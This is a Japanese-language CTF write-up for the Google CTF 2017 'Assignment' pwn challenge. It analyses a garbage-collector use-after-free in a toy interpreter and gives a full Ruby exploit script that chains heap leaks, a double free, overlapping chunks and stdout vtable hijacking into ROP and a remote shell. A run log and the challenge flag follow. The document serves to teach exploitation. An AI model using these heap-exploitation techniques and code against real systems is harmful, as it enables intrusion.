Google CTF 2017 Quals - Assignment writeup
Google CTF 2017 Qualsにbinjaで参加しました。
チームで4632pts入れて6位、私は2問(うち1問はakiymさんが途中までやっていたのを引き継ぎ)解いて554ptsくらい入れました。
面白い問題が多くてさすがGoogleという感じでした。
Assignmentのwriteupを置いておきます(`・ω・´)
Assignment (pwn 363)
$ ./assignment > 1 1 > "a" "a" > a.a=1 > a { a: 1 } > a.a=a.a+1 > a { a: 2 }
まずは下調べ。
$ file assignment assignment: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=207339d70fde53eee8656e85aa6c6b0c3466152c, stripped $ checksec --file assignment RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH assignment
主な仕様はこんな感じ。
digits ::= /[0-9]+/ variable ::= /[a-zA-Z](\.[a-zA-Z])*/ quoted_string ::= /"[^"]*"/ equal ::= /=/ plus ::= /\+/ value ::= variable | digits | quoted_string assignment ::= variable equal value [plus value]
- 型はInteger, String, Object(連想配列)の3種類がある
- 演算は足し算だけ
- Integer + Integer → Integer
- String + Integer, Integer + String => String
- Integerを文字列に直してから文字列結合
- String + String → String
- 文字列結合
- Object + Integer, Integer + Object, Object + String, String + Object → Object
- Objectの全ての要素にもう一方のIntegerまたはStringを足す
- Object + Object → Object
- それぞれのObjectの全要素を集めたObjectを作る
- 両方のObjectに同名の要素が存在した場合は足す
- GC機構(mark-and-sweep型)が実装されている
GCをバグらせる問題なのではと感じたので、バグりそうな入力をいろいろ試してみたところ、次のような入力でSEGVした。
$ ./assignment > a=1 > a.a=a > a=a+a > a { [1] 11741 segmentation fault (core dumped) ./assignment
a=1
a.a=a
a=a+a
下の図は計算の途中の様子。
a+a
を計算するために元々のa
(青色)を参照しつつ、RootObject.child_list->value
を新しく作成した計算結果格納用のオブジェクトに繋ぎ替えている。
この計算の途中でGCが走ると、元々のa
がルートオブジェクトから辿れないために削除対象となってしまい、UAFが発生する。
簡単にまとめると、a=a+何か
の計算中にGCが走るようにすればUAFを再現できる。
さらにいろいろ試してみると、次のような入力でヒープのアドレスがリークした。
$ ./assignment > z=0 > a.b="AAAAAAAA" > a.c=a.b > a.d=a.b > a.e=a.b > a.f=a.b > a.g=a.b > a.h=a.b > a.i=a.b > a.j=a.b > a.k=a.b > a.l=a.b > a.m=a.b > a.n=a.b > a.o=a.b > a.p=a.b > a.q=a.b > a=a+z > a { : 94390702937312 4390702937312 κ 94390702937312 °: 94390702937312 : 94390702937312 p: 94390702937312 P: 94390702937312 0: 94390702937312 : 94390702937312 4390702937312 κ 94390702937312 °: 94390702937312 : 94390702937312 p: 94390702937312 P: 94390702937312 0: 94390702937312 }
次のような手順で攻略した。
- 適当なStringオブジェクトを作る
このオブジェクトはルートオブジェクトよりも手前に領域が確保される - 上述のバグを使ってヒープのアドレスをリーク
- そのまま何個かオブジェクトを作って再度GCを走らせるとdouble freeも発生する
- 1.の領域を確保し直して偽チャンク1を、さらに、新しく確保した領域に0x20バイトの偽チャンク2を作る
このとき、偽チャンク2はPREV_INUSE
ビットをクリアし、prevsize
を調整して偽チャンク2の手前に偽チャンク1があるかのように見せる
- 3.のdouble freeを利用してfastbins freelistに偽チャンク2を繋ぐ
- 大きなチャンクを解放することで
malloc_consolidate
を走らせ、偽チャンク1と偽チャンク2を合体させる
すると、合体してできたチャンクとルートオブジェクトの領域がoverlapする
- ルートオブジェクトを書き換えてarbitrary readできるようにし、ヒープからlibcのアドレスを抜く
- ルートオブジェクトの書き換えで任意アドレスのfreeもできるようになるので、最近のヒープ問と同じ要領でがんばってripを奪う
- 入力のバッファがスタック上にあるので、ripを奪った後はlibcのgadgetでstack pivotしてROPに持ち込む
#coding:ascii-8bit require "pwnlib" remote = ARGV[0] == "r" if remote host = "assignment.ctfcompetition.com" port = 1337 libc_offset = { "main_arena" => 0x3c1760, "_IO_2_1_stdout_" => 0x3c2400, "add_rsp_1b8_ret" => 0xf02c2, "ret" => 0x374cf, "one_gadget_rce" => 0x4647c, } else host = "localhost" port = 54321 libc_offset = { "main_arena" => 0x3c1760, "_IO_2_1_stdout_" => 0x3c2400, "add_rsp_1b8_ret" => 0xf02c2, "ret" => 0x374cf, "one_gadget_rce" => 0x4647c, } end class PwnTube def recv_until_prompt recv_until("> ") end end def tube @tube end def send_exp(exp) raise if exp.include?("\n") tube.recv_until_prompt tube.sendline(exp) end PwnTube.open(host, port){|t| @tube = t puts "[*] leak heap base" send_exp("X=\"#{"A" * 0x68}\"") send_exp("z=0") send_exp("a.b=\"#{"A" * 0x28}\"") "cdefghijkl".chars.each{|c| print "." send_exp("y.#{c}=0") } "cde".chars.each{|c| print "." send_exp("a.#{c}=a.b") } puts send_exp("a=a+z") send_exp("a") heap_base = tube.recv_capture(/\xf0: (\d+)\n/)[0].to_i - 0x1a0 puts "heap base = 0x%x" % heap_base puts "[*] double free" send_exp("a=1") send_exp("1") puts "[*] prepare for overlapping chunks" send_exp("X.a=a") payload = "" payload << [0, 0].pack("Q*") payload << [0, 0x7a0 - 0x60 + 1].pack("Q*") payload << [heap_base + 0x60, heap_base + 0x60].pack("Q*") payload << [0, 0].pack("Q*") send_exp("X=\"#{payload.ljust(0x68, "\0")}\"") send_exp("\"A\"") payload = "" payload << [heap_base + 0x7a0].pack("Q") payload << [0].pack("Q") send_exp("d=\"#{payload.ljust(0x18, "\0")}\"") payload = "" payload << [0x7a0 - 0x60, 0x20].pack("Q*") payload << [0, 0].pack("Q*") payload << [0, 0x21].pack("Q*") payload << [0, 0].pack("Q*") payload << [0, 0x21].pack("Q*") payload << ["p".ord, heap_base + 0x810].pack("Q*") # name value payload << [heap_base + 0x850, 0x21].pack("Q*") # sibling payload << [1, heap_base + 0x830].pack("Q*") # stringtype buffer payload << [0, 0x21].pack("Q*") payload << [8, heap_base + 0x10].pack("Q*") # length buf payload << [0, 0x21].pack("Q*") payload << ["q".ord, heap_base + 0x870].pack("Q*") # name value payload << [heap_base + 0x8b0, 0x21].pack("Q*") # sibling payload << [1, heap_base + 0x890].pack("Q*") # stringtype buffer payload << [0, 0x21].pack("Q*") payload << [0, heap_base + 0x70].pack("Q*") # length buf payload << [0, 0x21].pack("Q*") payload << ["r".ord, heap_base + 0x8d0].pack("Q*") # name value payload << [0, 0x21].pack("Q*") # sibling payload << [1, heap_base + 0x8f0].pack("Q*") # stringtype buffer payload << [0, 0x21].pack("Q*") payload << [0, heap_base + 0xa0].pack("Q*") # length buf payload << [0, 0x21].pack("Q*") send_exp("\"#{payload.ljust(0x1f0, "\0")}\"") puts "[*] trigger malloc_consolidate" send_exp("y=1") (2..5).each{|i| send_exp("#{i}") } puts "[*] overwrite root object" payload = "" payload << [0].pack("Q") * 4 payload << [0, 0x71].pack("Q*") payload << [0, 0].pack("Q*") payload << [0, 0x21].pack("Q*") payload << [2, heap_base + 0x7f0].pack("Q*") payload << [1, 0x21].pack("Q*") payload << ["X".ord, heap_base + 0x660].pack("Q*") payload << [0, 0].pack("Q*") send_exp("\"#{payload}\"") puts "[*] leak libc base" send_exp("p") libc_base = tube.recv_capture(/"(.{8})"/m)[0].unpack("Q")[0] - libc_offset["main_arena"] - 0x88 puts "libc base = 0x%x" % libc_base puts "[*] abuse free list" send_exp("r.a=1") send_exp("q.a=1") payload = "" payload << [0].pack("Q") * 4 payload << [0, 0x71].pack("Q*") payload << [libc_base + libc_offset["_IO_2_1_stdout_"] + 0x9d, 0].pack("Q*") payload << [0, 0x21].pack("Q*") payload << [2, heap_base + 0x7f0].pack("Q*") payload << [1, 0x21].pack("Q*") payload << [0x58, heap_base + 0x660].pack("Q*") send_exp("\"#{payload.ljust(0x98, "\0")}\"") payload = "" payload << [0, 0].pack("Q*") payload << [0, 0x21].pack("Q*") payload << [2, heap_base + 0x7f0].pack("Q*") payload << [1, 0x21].pack("Q*") payload << [0x58, heap_base + 0x660].pack("Q*") send_exp("\"#{payload.ljust(0x68, "\0")}\"") puts "[*] send ROP payload" payload = "" payload << [libc_base + libc_offset["ret"]].pack("Q") * 40 payload << [libc_base + libc_offset["one_gadget_rce"]].pack("Q") payload << "\0" * 0x40 send_exp(payload) puts "[*] overwrite stdout's vtable pointer and trigger ROP" payload = "" payload << "\0" * 3 payload << [0, 0].pack("Q*") payload << [-1, 0].pack("L*") payload << [0, libc_base + libc_offset["add_rsp_1b8_ret"]].pack("Q*") payload << [libc_base + libc_offset["_IO_2_1_stdout_"] + 0xd0 - 0x38].pack("Q*") payload << [0].pack("L") send_exp("\"#{payload.ljust(0x68, "A")}\"") tube.interactive }
$ ruby assignment.rb r [*] connected [*] leak heap base ............. heap base = 0x56551b405000 [*] double free [*] prepare for overlapping chunks [*] trigger malloc_consolidate [*] overwrite root object [*] leak libc base libc base = 0x7f791e0a9000 [*] abuse free list [*] send ROP payload [*] overwrite stdout's vtable pointer and trigger ROP [*] interactive mode id uid=1337(user) gid=1337(user) groups=1337(user) ls -la total 44 drwxr-xr-x 2 user user 4096 Apr 20 15:52 . drwxr-xr-x 3 user user 4096 Apr 20 15:52 .. -rwxr-xr-x 1 user user 220 Apr 9 2014 .bash_logout -rwxr-xr-x 1 user user 3637 Apr 9 2014 .bashrc -rwxr-xr-x 1 user user 675 Apr 9 2014 .profile -rwxr-xr-x 1 user user 18416 Apr 10 14:05 assignment -rwxr-xr-x 1 user user 42 Apr 19 17:36 flag.txt cat flag.txt CTF{d0nT_tHrOw_0u7_th1nG5_yoU_5ti11_u53} exit [*] end interactive mode [*] connection closed
FLAG: CTF{d0nT_tHrOw_0u7_th1nG5_yoU_5ti11_u53}